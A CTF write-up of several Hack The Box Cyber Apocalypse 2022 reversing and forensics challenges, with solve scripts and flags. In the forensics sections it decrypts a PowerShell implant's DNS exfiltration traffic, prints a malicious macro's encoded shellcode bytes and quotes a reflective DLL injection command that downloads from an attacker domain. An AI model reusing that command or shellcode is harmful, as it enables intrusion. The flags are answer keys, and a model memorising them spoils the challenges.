Page MenuHomedesp's stash

htbcyberapoc22.md
No OneTemporary

htbcyberapoc22.md

### snakecode
main issue is python 2.7 tbh was a pain in the ass trying to get the marshalled code into pyc
had to search real hard on stack overflow lol
decompile the pyc file they gave with `pycdc` as usual, which yields us a file with a ton of base64 encoded data which is marshal loaded - all zlib compressed aside from `ll` which is the initial load lambda
turn that marshal'd lambda into a pyc file itself by appending pyc header accordingly, and write a script to decompile every one of them (or hook the `ll` function to do that for you lol)
```py
def dump(s):
global i
with open('test' + str(i) + '.pyc', 'wb') as fc:
i += 1
fc.write('\0\0\0\0')
py_compile.wr_long(fc, long(time.time()))
marshal.dump(marshal.loads(zlib.decompress(s.decode('base64'))), fc)
fc.flush()
fc.seek(0, 0)
fc.write(py_compile.MAGIC)
ll = dump
```
turns out the decompiled lambda assigned to a3 already has the entire flag in it so i didnt have to merge
but i did it before realizing lol so heres the script
```py
import os
with open('snakecodemerge.py', 'w') as merge:
for f in os.listdir('.'):
if f.endswith('.py'):
lines = ['def ' + f[:-3] + "():\n"]
with open(f, 'r') as py:
lines += [' ' + l for l in py.readlines()]
merge.writelines(lines)
merge.writelines(['\n'])
```
### automation
[@Ray](https://maplebacon.org/authors/Ray/) did the initial analysis - `windowsliveupdater.com` is the controllers domain which means anything from it is sus
turns out `desktop.png` from it is the powershell code for accepting commands and exfiltrating data, which is base64 encoded and tagged `image/png`
was gonna decompile it one by one using hand to find the flag, but it ended up being way too much so i reimplemented the powershell code flow into a script to get both the commands and the exfiltrated output from the initial response's answers and the queries after that
hey at least now i (kinda) know how to automate pcap analysis lmao
`scapy` still hard to use tbh
```py
from scapy.all import *
from Crypto.Cipher import AES
import base64
pcap = rdpcap('capture.pcap')
key = 'a1E4MUtycWswTmtrMHdqdg==' #from powershell
print('commands\n\n')
#we only want the initial ping which retrieves the commands which is initiated by a query to the base domain name
for packet in [pkt for pkt in pcap if DNS in pkt and pkt[IP].src == '147.182.172.189' and pkt[DNS].qd.qname == b'windowsliveupdater.com.']:
for i in range(packet[DNS].ancount):
cmd = base64.b64decode(packet[DNS].an[i].rdata[0])
cipher = AES.new(base64.b64decode(key), AES.MODE_CBC, cmd[:16])
print(cipher.decrypt(cmd[16:]))
#name of DefaultUsr is part 1 - base64 decode it
print('\n\noutputs\n\n')
merge = []
output = b''
#subdomain is used to exfiltrate chunks of output as hex to the dns server
for packet in [pkt for pkt in pcap if DNS in pkt and (pkt[IP].dst == '147.182.172.189')]:
query = packet[DNS].qd.qname.split(b'.')
if len(query) == 4 and query[0] != b'start' and query[0] != b'end':
part = bytes.fromhex(query[0].decode())
output += part
if query[0] == b'end':
#print(output)
merge += [output]
output = b''
#print('\n\ndecrypting...\n\n')
for output in merge:
if output:
cipher = AES.new(base64.b64decode(key), AES.MODE_CBC, output[:16])
print(cipher.decrypt(output[16:]))
```
### shuffleme
line ctf `service` chall in linux - spotted it when i saw `LD_BIND_NOT` in main and tried to patch it away so that i can run without that set, which freezes the program
so something was definitely wrong with that param being needed to disable sth, and turns out that env var is for disabling .got/.plt editing
which means its likely that theres some altered import table shenanigans that needs to be preserved when the program boots and the import loads
so i tried tracing the first few imported functions and yep they are indeed mismatched from what IDA shows
and so i just started manually tracing every single one of the functions and mapping it into IDA for easier analysis lol
it gets extremely slow when it reached `extract_blob` though which means i cant get the code after that without patching
and thats what i did - i patched the size to 0 for both of the calls to extract_blob so the loop doesnt even run at all
and now i can move to the functions after extract_blob and map those out
i got bored and mapped out all of the function signatures after getting the names lol
also renamed and retyped a lot of vars so the decompiled c code looks really nice
though honestly just the name is probably enough to reverse the logic lol
coz with the functions out of the way the logic is actually quite simple
it extracts the key and encrypted data from the blobs using `extract_blob`, and put it through `blackhole` which uses evp encrypt(for some reason???) to "decrypt" the data into the flag, then compares it with our input and says yes/no accordingly
and the only reason why `extract_blob` is so slow is coz they use threads to try matching a byte every 4 bytes using `/dev/urandom` in `get_bytes` which is completely unnecessary
maybe it was to deter ppl like me who maps it dynamically but ha bin patching ftw
well i guess if there wasnt that "guard" ppl would be able to trivially obtain the flag at the end of `blackhole` dynamically anyways lol
either way everything afterwards is trivial to reimplement in python lol
so heres the script
```py
from Crypto.Cipher import AES
data = [
0x7, 0x58, 0x0DE, 0x39, 0x55, 0x72, 0x0F1, 0x0F8, 0x0C5, 0x7B, 0x0E5, 0x53, 0x7A,
0x39, 0x54, 0x60, 0x53, 0x6E, 0x0C5, 0x22, 0x0D9, 0x0CA, 0x80, 0x84, 0x3E, 0x0D0,
0x0A9, 0x15, 0x0EF, 0x26, 0x39, 0x10, 0x0CC, 0x16, 0x0A1, 0x62, 0x0E9, 0x1B, 0x0C,
0x0F6, 0x39, 0x0A3, 0x1F, 0x0BC, 0x7C, 0x0EE, 0x0E9, 0x0C6, 0x0A8, 0x78, 0x0C6,
0x9A, 0x0A2, 0x0C, 0x2C, 0x3A, 0x66, 0x0E0, 0x9A, 0x21, 0x8F, 0x58, 0x11, 0x0D3,
0x66, 0x82, 0x38, 0x65, 0x56, 0x3D, 0x0DC, 0x2D, 0x3A, 0x4B, 0x34, 0x0CD, 0x17, 0x0A6,
0x35, 0x82, 0x84, 0x46, 0x11, 0x9F, 0x0BD, 0x89, 0x0D8, 0x24, 0x0F5, 0x51, 0x0DA,
0x0D7, 0x2A, 0x64, 0x0F1, 0x0C, 0x4B, 0x39, 0x61, 0x0F0, 0x0CA, 0x1E, 0x37, 0x0D8,
0x25, 0x66, 0x0FF, 0x0D4, 0x5A, 0x82, 0x38, 0x0BE, 0x2D, 0x3B, 0x5F, 0x0AF, 0x87,
0x88, 0x58, 0x37, 0x0A0, 0x51, 0x88, 0x12, 0x8A, 0x0CE, 0x5D, 0x0B0, 0x4, 0x3E, 0x9B,
0x47, 0x94, 0x0E1, 0x9C, 0x5A, 0x0D2, 0x8, 0x0E8, 0x37, 0x72, 0x1B, 0x60, 0x99, 0x0E,
0x9F, 0x93, 0x0B4, 0x0B7, 0x5A, 0x42, 0x35, 0x0C6, 0x0E5, 0x48, 0x0AC, 0x0F9, 0x0BE,
0x0C, 0x14, 0x0F9, 0x0AE, 0x58, 0x3B, 0x0CD, 0x2F, 0x0A1, 0x2C, 0x91, 0x0EE, 0x1A,
0x82, 0x0E, 0x0EE, 0x50, 0x9, 0x22, 0x1C, 0x54, 0x6D, 0x90, 0x41, 0x56, 0x15, 0x0FC,
0x43, 0x0BD, 0x0A6, 0x15, 0x69, 0x0, 0x0A7, 0x0E6, 0x26, 0x65, 0x87, 0x0D2, 0x0E2,
0x8A, 0x92, 0x49, 0x59, 0x0E6, 0x1D, 0x6A, 0x0EA, 0x0B4, 0x65, 0x74, 0x0E8, 0x0B8,
0x74, 0x38, 0x0C0, 0x7F, 0x0A, 0x86, 0x7E, 0x1D, 0x0F5, 0x0DB, 0x80, 0x0BD, 0x54,
0x0CA, 0x0E7, 0x0E1, 0x41, 0x0E, 0x31, 0x89, 0x1C, 0x0BD, 0x66, 0x19, 0x79, 0x7C,
0x68, 0x0B6, 0x2B, 0x9C, 0x0A0, 0x0A8, 0x91, 0x0E1, 0x7B, 0x4D, 0x0E3, 0x57, 0x4F,
0x1E, 0x0F, 0x0F0, 0x5D, 0x0F4, 0x9, 0x44, 0x44, 0x31, 0x0F3, 0x59, 0x0E4, 0x8B,
0x0A6, 0x5A, 0x0D7, 0x0C, 0x0AD, 0x10, 0x94, 0x7C, 0x0A3, 0x1B, 0x0A5, 0x36, 0x97,
0x0D4, 0x37, 0x22, 0x1B, 0x6F, 0x92, 0x0B1, 0x0D8, 0x33, 0x25, 0x0E7, 0x52, 0x0E8,
0x33, 0x0AD, 0x0D5, 0x95, 0x34, 0x57, 0x74, 0x0C3, 0x81, 0x78, 0x12, 0x82, 0x6D,
0x0F0, 0x41, 0x67, 0x6A, 0x0A9, 0x64, 0x96, 0x0D8, 0x0E2, 0x31, 0x0B6, 0x0F7, 0x0FA,
0x0FF, 0x61, 0x7A, 0x92, 0x0CC]
key = [
0x30, 0x0D3, 0x38, 0x0C2, 0x6C, 0x1, 0x21, 0x9F, 0x3, 0x0E2, 0x6E, 0x9, 0x7C, 0x0A, 0x81,
0x78, 0x45, 0x0E4, 0x0B3, 0x74, 0x0B0, 0x7A, 0x84, 0x0CD, 0x41, 0x11, 0x29, 0x29,
0x32, 0x19, 0x0DD, 0x16, 0x0C0, 0x0A7, 0x0E9, 0x9F, 0x0C3, 0x9B, 0x32, 0x44, 0x0A7,
0x0D1, 0x0B8, 0x89, 0x0B0, 0x3E, 0x97, 0x0E5, 0x7F, 0x8F, 0x0FC, 0x72, 0x72, 0x0E3,
0x92, 0x0E9, 0x0CD, 0x1A, 0x1D, 0x0D7, 0x94, 0x5C, 0x92, 0x41, 0x75, 0x0D9, 0x5E,
0x27, 0x8F, 0x3B, 0x0B7, 0x42, 0x49, 0x8E, 0x0D7, 0x0EE, 0x8B, 0x0DF, 0x40, 0x70,
0x0B1, 0x37, 0x7, 0x37, 0x0D8, 0x6, 0x0EA, 0x0A7, 0x3A, 0x0C0, 0x0AC, 0x5A, 0x3, 0x0A6,
0x7B, 0x7A, 0x0D4, 0x0C1, 0x54, 0x0C3, 0x2F, 0x1, 0x0F6, 0x4D, 0x0A4, 0x3F, 0x0A3,
0x0F0, 0x49, 0x98, 0x0E, 0x0CE, 0x91, 0x17, 0x0AF, 0x40, 0x59, 0x2F, 0x0C7, 0x8D,
0x27, 0x8, 0x5D, 0x31, 0x0E7, 0x0A, 0x2C, 0x0A5]
def extract(blob):
ret = bytes([])
for i in range(0, len(blob), 4):
ret += bytes([blob[i]])
return ret
cipher = AES.new(extract(key), AES.MODE_CBC, b'\0'*16)
print(cipher.decrypt(extract(data)))
```
ngl this chall is arguably easier than line ctf's one lol and iirc `service` is tagged warmup while this one is 3/4 stars
tfw the difficulty between ctfs differs this much lmao
### nuts and bolts
rust whew
i first looked into how xor and reverse works coz those we dont have sources for
then i thought hey why not figure out how the storagemethod struct works first
it seemed like theres 1 byte padding + 32/64 bytes data as specified by the storagemethod size then a 7 byte padding
then i realized the padding is not 0 which means its actually set somewhere
and upon closer look it actually is set in both xor and reverse so i wondered what pattern there might be
looking closer to the array in `output.txt` it looks like theres 44 bytes that looks like 11 ints prepended as padding before the actual data
wait 10 ints all being 1 or 2, with the last int being 0 - would that possibly be an indicator of what method (xor or reverse) was used in that iteration, since there is 10 iterations and 1 initialization?
so i whipped up a script to test it out even though i couldnt get a good understanding on the xor and reverse functions yet coz the pattern looks too outstanding for me to overlook
```py
from Crypto.Cipher import AES
key = bytes([2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0, 1, 0, 0, 0, 2, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 2, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 101, 19, 249, 222, 49, 245, 116, 246, 138, 161, 222, 65, 116, 18, 61, 227, 218, 154, 107, 172, 132, 119, 92, 126, 137, 33, 97, 243, 195, 200, 118, 12])
flag = bytes([2, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 2, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 196, 182, 72, 102, 37, 214, 250, 240, 211, 193, 251, 206, 179, 194, 23, 99, 88, 217, 216, 191, 130, 131, 52, 44, 174, 146, 211, 48, 39, 39, 20, 57, 144, 169, 11, 154, 215, 56, 164, 22, 46, 39, 71, 75, 208, 173, 225, 77, 2, 20, 34, 143, 222, 168, 158, 127, 15, 126, 143, 42, 125, 18, 239, 27])
def extract(data):
ops = []
for i in range(0, 44, 4):
ops += [int.from_bytes(data[i:i+4], byteorder='little')]
return (ops, data[44:])
def reverse(data):
ops, data = extract(data)
print(ops, data)
for op in ops[::-1]:
if op == 1:
print('reverse')
data = data[::-1]
if op == 2:
print('xor')
data = bytes([b ^ 0xD for b in data])
return data
cipher = AES.new(reverse(key), AES.MODE_CTR)
print(cipher.decrypt(reverse(flag)))
```
ops is reversed coz i thought the 0 at the end is the initialization stage so it makes sense to go backwards to the front
but hmmm this doesnt work it only spews out scrambled data
theres 3 main uncertainties here even if my assumption is correct - whether ops needed to be reversed, whether op 1 and op 2 does map to reverse and xor respectively and not the other way around, and the AES mode that rust used, which i guessed to be CTR from the docs and how theres no IV https://docs.rs/aes/0.7.2/aes/index.html
but no even though i tried testing different combinations out with GCM mode and flipping ops etc its still always scrambled
so welp guess its time to run a debugger
so when i was trying to see how the ops get prepended i suddenly thought why not test out decryption first since i know exactly the key and the flag i put in the debugger
and aha both GCM and CTR doesnt work
the only common mode left is CBC so i tried it with all 0 iv coz theres no input so i assumed its all 0
```py
#sanity check from debugging for what algo is used by rust - turns out its not GCM nor CTR as said here lmfao https://docs.rs/aes/0.7.2/aes/index.html
key = bytes([0x22, 0xFC, 0x5C, 0x75, 0x34, 0x2D, 0x16, 0x2E, 0x35, 0xB8, 0xBA, 0x01, 0x14, 0x59, 0x07, 0x27, 0x47, 0x4C, 0x6B, 0x73, 0xE8, 0x34, 0x07, 0xAA, 0x75, 0xFE, 0x67, 0xEF, 0x41, 0xBA, 0x5F, 0x89])
cipher = AES.new(key, AES.MODE_CBC, b'\0'*16)
print(cipher.encrypt(b'\0'*16).hex()) # should match 9D 4C 33 E3 F8 BC 55 FF E7 27 62 18 A1 E0 3F 78
```
LOL it actually is CBC so i instantly tried it out in the script and dang there it is my assumptions were spot on `b"HTB{ru5t_h45_t4g\xa3\x85,9\x16\xb8\x8f\x9d\xe6\x9e\xcf\xa0\xd7\x9dc\x0bk\xa0\xaa\x8c\xdd\xf3F\x1f\xda\xe6\xaaoD\x17$U\xed\xa3\x0b\x9a\xd78\xa4\x16.'GK\xd0\xad\xe1M"`
the latter parts are still garbage which i expected coz they split the flag into chunks of 16 bytes and run it through encrypt every time while i encrypted it entirely in a single chunk
so i rewrote the script for it and ey `b'HTB{ru5t_h45_t4gg3d_3num5_4nd_th3yr3_pr3tty_c00l}\n\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'` ez flag
final script:
```py
from Crypto.Cipher import AES
key = bytes([2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0, 1, 0, 0, 0, 2, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 2, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 101, 19, 249, 222, 49, 245, 116, 246, 138, 161, 222, 65, 116, 18, 61, 227, 218, 154, 107, 172, 132, 119, 92, 126, 137, 33, 97, 243, 195, 200, 118, 12])
flag = bytes([2, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 2, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 196, 182, 72, 102, 37, 214, 250, 240, 211, 193, 251, 206, 179, 194, 23, 99, 88, 217, 216, 191, 130, 131, 52, 44, 174, 146, 211, 48, 39, 39, 20, 57, 144, 169, 11, 154, 215, 56, 164, 22, 46, 39, 71, 75, 208, 173, 225, 77, 2, 20, 34, 143, 222, 168, 158, 127, 15, 126, 143, 42, 125, 18, 239, 27])
def extract(data):
ops = []
for i in range(0, 44, 4):
ops += [int.from_bytes(data[i:i+4], byteorder='little')]
return (ops, data[44:])
def reverse(data):
ops, data = extract(data)
print(ops, data)
for op in ops[::-1]:
if op == 1:
print('reverse')
data = data[::-1]
if op == 2:
print('xor')
data = bytes([b ^ 0xD for b in data])
return data
realflag = b''
enc = reverse(flag)
for i in range(0, len(enc), 16):
cipher = AES.new(reverse(key), AES.MODE_CBC, b'\0'*16)
realflag += cipher.decrypt(enc[i:i+16])
print(realflag)
```
### freaky forum interception
an amalgamation of 5 languages in 1 chall yikes
at least its typical crackme style with stages
so im gonna list them out using that too
but first setup things
the program requires both `libpython3.10.so.1.0` and `libjvm.so`
libjvm.so exists in `/usr/lib64/jvm/java-11/lib/server/`, but libpython3.10 doesnt since we only have python 3.6, and i dont wanna do a system upgrade
so time to grab it from a deb or sth and use that
except glibc 2.35 is needed yikes and the linker trick doesnt work for preload modules
so i had to find libpython3.10 thats compiled for glibc <=2.32 and oh boy that was a long ass scavenger hunt i spent 2 hours back and forth from package manager to package manager
and finally i found one in rpm and with `rpm2cpio ./python3.10-3.10.0~b1-1.fc32.x86_64.rpm | cpio -idmv ./usr/lib64/libpython3.10.so.1.0` i can grab the libpython3.10 file
time to move on to the actual reversing
<br>
**base check (c)**
- simple c pretty much, so it was really straightforward
- flag must be wrapped in `HTB{}`
- flag must have 4 segments aka 3 `_`s
- flag is then separated into 4 segments for each of the other language check
**golang check**
- golang is even more painful than rust in that theres even more runtime stuff thats dynamically linked so you cant trace it
- but eventually through tracing with a debugger i got to the actual check and its called `main_GoCheck` lol
- the only thing i can see is that its comparing the length of main_g with the segment length and thats it even though theres `main_Oracle` which i thought must be involved in the check
- but no looks like all strings lengthed 7 passes the check lol
- i noticed the data in main_g looks like ascii so i decoded all of them and they became `tgt13gn` which doesnt look right but whatever time to move on for now
- eventually i had to fix it after passing all the checks and my word scrambler brain kicked into play lmao its `g3tt1ng`
- (and long after i solved the chall i realized the tuples encode the character position in the string too lmao so i can unscramble using those but oops i completely ignored it)
**rust check**
- mmmmm dont you love reversing rust
- at this point i met enough rust challs that i can identify what is boilerplate what is logic good enough that its feeling more like c++ to me which is good
- but to be honest this rust check is hardly any true rust anyway its just a lot of if checks that do some weird computation after adding or multiplying the characters
- it was really confusing though still coz i had no idea what those computation was trying to do and i completely missed one of the checks inside on of the `spec_from_iter` rust calls which took me the longest to reverse coz i had to map out how it was iterating over the string into the values to be compared by `bcmp` and debugging didnt really help so i had to rename a lot of stuff to help visualize it statically
- after adding all the checks i still couldnt get it to spew out a correct looking segment so i was squinting really hard at the script to see what could go wrong
- and i remembered the weird `Int2BV` and `BV2Int` truncation (all values computed after BV2Int will be truncated to the size of the BV including the comparison int) that might happen so i added them in respectively and eyy it worked
```py
from z3 import *
s = Solver()
chrs = [BitVec('char-' + str(i), 8) for i in range(6)]
#first check for each chr
for c in chrs:
s.add((Int2BV(32 * If(c - 65 < 26, 1, 0), 8) & ~c) == 0)
#manual checks for printable ascii
s.add(c > 0x20)
s.add(c < 0x7d)
#last check in first chunk of ifs
s.add(chrs[0] + chrs[1] + chrs[2] + chrs[3] + chrs[4] + chrs[5] == 547)
#from spec_from_iter bcmp check
match = [0xDF, 0xDD, 0x67]
for i in range(3):
s.add(chrs[i] + chrs[5-i] == match[i])
#dont forget to BV2Int or weird things happen lol prob coz of truncation
s.add((BV2Int(chrs[5]) + 3 * (BV2Int(chrs[4]) + 3 * (BV2Int(chrs[3]) + 3 * (BV2Int(chrs[2]) + 3 * (BV2Int(chrs[1]) + 3 * BV2Int(chrs[0])))))) == 36307)
s.check()
print("".join([chr(s.model()[c].as_long()) for c in chrs]))
```
**python check**
- aha guess what you thought the libpython3.10 problem is done
- nonono now you get a segfault for no reason
- turns out i also need PYTHONHOME and PYTHONPATH or else it cant find module `encoding` and using 3.6 as path dies with sysconfig sth not found so guess i gotta unpack the entire 200MB of python files or sth now
- i ran out of space too it was so painful but hey at least i fixed the sysconfig not found issue
- but lol you think thats all nonono have another segfault
- turns out the module `random` was not found and was returning null so the program was dereferencing null ptr
- at this point i got so fed up trying to run the program i just extracted all the python from it using the same analysis i did with arista chall
- and it was painfully simple lol give me back my 2 hours
```py
import random
secret = [0x22, 0xAF, 0x2D, 0x26, 0x3B]
random.seed(31337)
flag = b''
for c in secret:
flag += bytes([c ^ random.randrange(256)])
print(flag)
```
**java check**
- cant really read what the JNI stuff is doing coz theres a bit of dynamic calls and theres no debug symbols for the vm struct but i can guess whats happening
- looks the the program embedded a class into the global var Class and Class_size is the size for it which matches the size of the class file
- so we just need to extract that into a class file, rename it, zip it and let enigma decompile it lol
- its another set of equations that we gotta match to get the flag so im just gonna continue using z3
```py
#extract class
with open('ffi', 'rb') as file:
clazz = file.read()[0x19F722:0x19F722+0x752] #Class with Class_size
with open('extracted.class', 'wb') as out:
out.write(clazz)
#compute
from z3 import *
chrs = [BitVec('char-' + str(i), 8) for i in range(9)] #one larger than data
data = [219, 227, 209, 154, 104, 97, 158, 163]
s = Solver()
for c in chrs:
s.add(c > 0x20)
s.add(c < 0x7d)
for i in range(len(chrs)-1):
s.add(chrs[i] + chrs[i+1] == data[i])
print("".join([chr(s.model()[c].as_long()) for c in chrs]))
```
- which gave us a weird string `qjyXB&;c@` thats not leetspeak but still satisfies the java check for some reason and thats not the flag indeed so i assumed its another golang issue where the check aint complete
- so i changed it to spew out all possible strings and manually get the right one lol
```py
while str(s.check()) == 'sat':
print("".join([chr(s.model()[c].as_long()) for c in chrs]))
s.add(Or([c != s.model()[c] for c in chrs]))
```
and finally merging them all and we get `HTB{g3tt1ng_fr34ky_u51Ng_func710n5}`
i like how aside from snakecode from the previous day i solved all rev challs in a single day lol
* * *
### free services
this shouldnt be in forensics lol this should be in rev as warmup
when you open the excel the macro sheet literally shows up first
so its just about learning excel macro syntax and translating it into python
it looks like its shellcode with the createthread stuff which might be dependent on the excel process memory space its running off on, but hey lets just march on first
```py
print(bytes([b^24 for b in [228, 54, 240, 244, 154, 233, 24, 216, 24, 9, 24, 172, 120, 252, 145, 15, 253, 103, 41, 52, 216, 214, 124, 244, 147, 90, 72, 198, 40, 53, 147, 70, 74, 93, 20, 118, 147, 240, 74, 88, 12, 91, 147, 224, 106, 217, 48, 114, 23, 217, 175, 22, 82, 188, 62, 217, 41, 191, 231, 130, 180, 150, 36, 18, 121, 235, 100, 52, 26, 39, 52, 99, 56, 231, 217, 29, 215, 212, 21, 77, 25, 70, 223, 58, 250, 130, 234, 247, 74, 183, 79, 8, 147, 196, 74, 207, 8, 147, 147, 221, 82, 111, 36, 212, 147, 24, 84, 57, 9, 21, 96, 90, 251, 186, 80, 23, 25, 29, 201, 163, 73, 89, 147, 39, 65, 52, 56, 79, 25, 250, 203, 45, 147, 245, 81, 57, 0, 194, 251, 105, 34, 130, 81, 176, 147, 95, 44, 156, 147, 108, 25, 122, 206, 187, 41, 40, 231, 211, 180, 34, 217, 244, 215, 235, 21, 61, 25, 146, 223, 113, 32, 238, 248, 39, 109, 247, 238, 137, 27, 205, 101, 61, 224, 27, 35, 156, 101, 40, 60, 88, 109, 241, 252, 109, 64, 211, 147, 104, 64, 202, 60, 190, 25, 194, 203, 28, 126, 168, 147, 121, 20, 239, 83, 255, 147, 175, 64, 158, 4, 157, 25, 125, 203, 139, 147, 78, 28, 32, 147, 126, 25, 72, 200, 228, 145, 103, 92, 103, 60, 254, 60, 12, 67, 151, 67, 134, 121, 48, 65, 92, 66, 244, 73, 163, 231, 146, 248, 121, 71, 35, 71, 53, 66, 79, 147, 219, 10, 153, 243, 74, 149, 217, 69, 120, 114, 172, 25, 6, 149, 246, 157, 176, 170, 245, 24, 217, 24, 119, 24, 163, 72, 95, 112, 127, 41, 153, 147, 72, 119, 147, 159, 202, 231, 251, 205, 27, 163, 56, 232, 179, 173, 96, 186, 25, 78, 9, 112, 255, 190, 173, 141, 103, 165, 169, 133, 54, 231, 63, 205, 144, 36, 219, 30, 250, 100, 120, 18, 240, 152, 183, 227, 103, 248, 110, 109, 47, 29, 205, 163, 162, 95, 175, 11, 46, 106, 56, 119, 199, 114, 67, 24, 164, 75, 12, 231, 114, 205, 66, 74, 73, 93, 180, 95, 147, 56, 79, 89, 69, 92, 104, 92, 177, 56, 66, 58, 238, 80, 160, 83, 199, 84, 79, 85, 70, 68, 233, 75, 43, 87, 54, 94, 210, 76, 167, 79, 30, 89, 47, 74, 231, 93, 111, 68, 133, 85, 81, 113, 64, 123, 155, 106, 49, 119, 54, 107, 16, 119, 19, 126, 148, 108, 112, 68, 40, 79, 123, 113, 200, 118, 207, 124, 56, 119, 232, 111, 151, 107, 235, 56, 223, 86, 82, 76, 154, 68, 186, 91, 87, 109, 75, 106, 57, 106, 197, 125, 139, 118, 240, 108, 123, 78, 169, 125, 160, 106, 131, 107, 132, 113, 71, 119, 221, 118, 193, 68, 251, 81, 70, 117, 105, 121, 107, 127, 161, 125, 64, 56, 138, 94, 145, 113, 94, 116, 152, 125, 57, 56, 86, 93, 64, 96, 205, 125, 44, 123, 226, 109, 253, 108, 23, 113, 233, 119, 117, 118, 251, 56, 33, 87, 134, 104, 170, 108, 148, 113, 60, 119, 215, 118, 143, 107, 21, 68, 233, 109, 68, 108, 190, 113, 181, 116, 141, 117, 120, 121, 132, 118, 150, 54, 99, 125, 217, 96, 132, 125, 213, 58, 227, 56, 174, 55, 229, 108, 67, 56, 29, 74, 57, 93, 2, 95, 36, 71, 80, 75, 154, 66, 96, 56, 56, 55, 146, 110, 65, 56, 197, 92, 243, 125, 194, 122, 246, 109, 3, 127, 180, 127, 209, 125, 123, 106, 121, 56, 224, 55, 243, 124, 71, 56, 19, 58, 142, 91, 232, 34, 43, 68, 16, 111, 171, 113, 236, 118, 25, 124, 212, 119, 24, 111, 78, 107, 2, 68, 129, 107, 113, 97, 73, 107, 31, 108, 183, 125, 200, 117, 78, 43, 234, 42, 46, 68, 115, 123, 76, 117, 196, 124, 116, 54, 135, 125, 37, 96, 122, 125, 156, 58, 7, 56, 133, 55, 79, 126, 153, 35, 83, 125, 118, 123, 250, 112, 51, 119, 160, 56, 238, 58, 11, 80, 62, 76, 28, 90, 79, 99, 48, 41, 9, 107, 217, 71, 27, 108, 18, 112, 8, 41, 10, 107, 98, 71, 45, 127, 135, 44, 219, 116, 134, 44, 126, 96, 91, 97, 239, 71, 150, 116, 51, 40, 190, 107, 216, 108, 73, 71, 98, 41, 30, 118, 79, 71, 100, 108, 66, 41, 81, 117, 41, 43, 144, 39, 8, 39, 100, 57, 150, 101, 133, 58, 46, 24, 187][::2]]))
```
except this one liner already yields us the flag embedded in the shellcode in plain text lmaoooo
guess the `[::2]` is needed coz of ``=SELECT(, "RC[2]"")`
`HTB{1s_th1s_g4l4xy_l0st_1n_t1m3??!}`
### intergalactic recovery
technically this was started before free service but i got so fed up with debugging the raid script i went to solve free service instead lmfao and i got it in a heartbeat
tl;dr painfully trying to recreate the raid 5 structure and failing until realizing mdadm raid superblock exists and i can just mount it with mdadm to grab the flag
most of the raid solutions online are paid, so i couldnt really use them
so its time to hunt for a raid script that might help but its so hard to find for some reason
finally settled on https://github.com/codysoyland/pyraid but even this had a lot of problems (in fact im pretty sure i either broke sth or its originally already broken that its still not usable to recover mdadm arrays even with the information presented in there lmao) namely no recovery using parity so i had to code that myself
eventually i actually got the linux filesystem repaired that testdisk can recognize it and even list out the files in the disk
but no matter what params i try with it i always end up getting bad pdfs or no pdfs with photorec
so i tried making a script that scans for the pdf metadata that i know must exist for the file to be complete and then brute forced the stripe size and offsets and even disk ordering
but still none of them gave more than a strip of weird color in image in the pdf
so i practically gave up until i was talking to [@ko](https://maplebacon.org/authors/ko/) about how if we can find a header in the file then we can probably math our way out
and i realized since i saw `md0` back when i first `strings`'d the disks it should be a linux raid
and that turned out to have a superblock which matches exactly at `0x1000` with the `longnte:md0` string in the name field for both disk1 and disk2 according to https://raid.wiki.kernel.org/index.php/RAID_superblock_formats
so i started extracting the array information and plugging it into pyraid to recover the disk
except it STILL didnt work so i tried to verify using `mdadm --examine /dev/loop8` after mounting the drives with `sudo losetup /dev/loop8 forensics_intergalactic_recovery/disk1.img` for both of the good ones
didnt work, but i noticed how the magic header for the superblock is gone, so i added it back in with vim's `:%!xxd`, `i`, edit, ctrl-c, then `:%!xxd -r`, and finally `:Wq` to write hex data on command line
and now mdadm actually recognizes the drives
while i was looking at the values (which matched the ones i manually extracted) i thought hey since mdadm already can recognize it whats stopping it from letting me make an array with it and mount which should handle the parity calculation for me
so i did `sudo bash -c 'mdadm --detail --scan >> /etc/mdadm/mdadm.conf'` (which idk if its needed but "fixes" the not found in config issue) (jk it doesnt coz INACTIVE_ARRAY is not recognized) and then `sudo mdadm --assemble --force --verbose /dev/md127 /dev/loop8 /dev/loop9` to assemble the drives
turns out they were already set up???? idk how but i had to `sudo mdadm --stop /dev/md127` to stop them
then its just mounting and verifying if the file exists as testdisk said with `sudo mount ./mount /dev/md127` and `file ./mount/imw_1337.pdf` and eyy it does
copying it to my laptop and opening it gives us the full image with the flag `HTB{f33ls_g00d_t0_b3_1nterg4l4ct1c_m0st_w4nt3d}` in it
still sad i cant get the pyraid script working though it would help so much in other forensics situations if i have a working script tbh coz i dont think most tools support using raw images
### reflection
whew windows memory dump!!!! finally some good memory forensics!!!!!!
thank god its an old Win7SP1x86 instance lol didnt have to do wacky profile stuff and i can use volatility 2 too
usual `kdbgscan` for sanity check
`pslist` for sus apps, but none looks too intersting aside from vboxtray that says its a virtual box vm guest and cygwin server
which made me think huh what if i scan commands instead with `cmdscan`
aha a powershell command `C:\Windows\security\update.ps1` which is kinda sus and there aint other commands issued either aside from an sshd thing
so time to dig into that powershell file with filedump
`filescan | grep update.ps1` to grab the offset, then `dumpfiles -Q 0x000000003f4551c0` to grab the actual powershell script file
its kinda funny how its 4MB large and vscode refused to open coz volatility dumped everything in the memory page including the null bytes lmao
either way `Invoke-ReflectivePEInjection -PEUrl https://windowsliveupdater.com/winmgr.dll -ProcName notepad` EY `windowsliveupdater.com` from the older forensics chall means we definitely are on the right track
not to mention ***Reflective***PEInjection anyway
i cant find the `https://windowsliveupdater.com/sysdriver.ps1` that it loads in memory but it turned out to be the script for the command https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-ReflectivePEInjection.ps1
